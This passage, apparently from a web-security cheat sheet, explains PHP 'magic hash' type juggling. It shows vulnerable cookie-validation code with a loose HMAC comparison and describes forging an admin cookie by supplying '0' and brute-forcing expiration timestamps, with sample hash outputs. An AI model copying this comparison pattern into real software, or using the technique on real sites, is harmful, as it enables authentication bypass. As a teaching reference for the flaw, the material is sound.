### Example vulnerable code
```php
function validate_cookie($cookie,$key){
$hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['$expiration'], $key);
if($cookie['hmac'] != $hash){ // loose comparison
return false;
...
```
The $cookie variable is provided by the user. The $key variable is a secret and unknown to the user.
If we can make the calculated hash string Zero-like, and provide "0" in the $cookie['hmac'], the check will pass.
```
"0e768261251903820937390661668547" == "0"
```
We have control over 3 elements in the cookie:
- $username - username you are targetting, probably "admin"
- $hmac - the provided hash, "0"
- $expiration - a UNIX timestamp, must be in the future
Increase the expiration timestamp enough times and we will eventually get a Zero-like calculated HMAC.
```
hash_hmac(admin|1424869663) -> "e716865d1953e310498068ee39922f49"
hash_hmac(admin|1424869664) -> "8c9a492d316efb5e358ceefe3829bde4"
hash_hmac(admin|1424869665) -> "9f7cdbe744fc2dae1202431c7c66334b"
hash_hmac(admin|1424869666) -> "105c0abe89825a14c471d4f0c1cc20ab"
...
hash_hmac(admin|1835970773) -> "0e174892301580325162390102935332" // "0e174892301580325162390102935332" == "0"
```
## Magic Hashes - Exploit
If the hash computed starts with "0e" (or "0..0e") only followed by numbers, PHP will treat the hash as a float.
